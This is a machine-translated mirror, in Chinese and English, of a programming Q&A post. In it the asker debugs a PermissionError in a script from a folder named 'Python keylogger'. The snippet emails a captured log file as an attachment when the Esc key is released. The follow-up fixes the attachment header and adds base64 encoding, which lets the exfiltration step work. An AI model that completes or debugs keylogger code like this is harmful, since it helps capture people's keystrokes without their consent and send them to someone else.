简体   繁体   English

PermissionError: [Errno 13] 权限被拒绝 python 错误

[英]PermissionError: [Errno 13] Permission denied python error

I tried to run visual code as administrator but that didn't solve the issue, I am trying to open this file in rb mode but i can not.我试图以管理员身份运行可视化代码,但这并没有解决问题,我试图以 rb 模式打开这个文件,但我不能。 It gives me this permission error when i try to execute.当我尝试执行时,它给了我这个权限错误。

msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Microsoft"
body = "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam euismod arcu ultrices magna semper, sit amet suscipit lectus vehicula. In hac habitasse platea dictumst. Curabitur dolor purus, ullamcorper ut aliquet at, pulvinar ut ante. Integer sed semper orci. Phasellus pharetra molestie mi, tempor bibendum turpis euismod eget. Nullam scelerisque enim nec nunc maximus, id mollis magna condimentum. Proin mollis pulvinar mollis. Vivamus pharetra arcu non tortor faucibus interdum. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas."
msg.attach(MIMEText(body,'plain'))
filename = "log.txt"
attachment = open(r"C:/Users/messa/Desktop/Python keylogger/", "rb")
p = MIMEBase('application', 'octet-stream')
p.set_payload((attachment).read())
p.add_header('Content-description','attachment; filename= %s' % filename)
msg.attach(p)

def on_release(key):
if key == Key.esc:
    s.sendmail(fromaddr,toaddr,text)
    s.quit()
    return False

Thanks to @Marichyasana, there was 3 issues.感谢@Marichyasana,有 3 个问题。 He fixed one in the comments, the second issue is i typed content-description and it should me "Content-Disposition"他在评论中修复了一个,第二个问题是我输入了内容描述,它应该是“内容处置”

p.add_header('Content-description','attachment; filename= %s' % filename)

and thirdly i forgot to encode the payload.第三,我忘记对有效载荷进行编码。

encoders.encode_base64(p)

Thanks to who tried to help.感谢谁试图提供帮助。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

相关问题 Python Pillow 库错误:PermissionError:[Errno 13] 权限被拒绝 - Python Pillow Library Error : PermissionError: [Errno 13] Permission denied Python-kenel 错误:PermissionError:[Errno 13] 权限被拒绝: - Python-kenel error:PermissionError: [Errno 13] Permission denied: python cgi PermissionError: [Errno 13] 权限被拒绝: - python cgi PermissionError: [Errno 13] Permission denied: PermissionError:[Errno 13]权限被拒绝Python - PermissionError: [Errno 13] Permission denied Python PermissionError:[Errno 13] openpyxl python 中的权限被拒绝 - PermissionError: [Errno 13] Permission denied in openpyxl python PermissionError: [Errno 13] 权限被拒绝 (python) - PermissionError: [Errno 13] Permission denied (python) PermissionError: [Errno 13] 权限被拒绝 @ PYTHON - PermissionError: [Errno 13] Permission denied @ PYTHON PermissionError:[Errno 13] python 项目中的权限被拒绝 - PermissionError: [Errno 13] Permission denied in python project Python:PermissionError:[Errno 13] pydrive 拒绝权限? - Python: PermissionError: [Errno 13] Permission denied with pydrive? Python.exe PermissionError: [Errno 13] Permission denied - Python .exe PermissionError: [Errno 13] Permission denied
 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM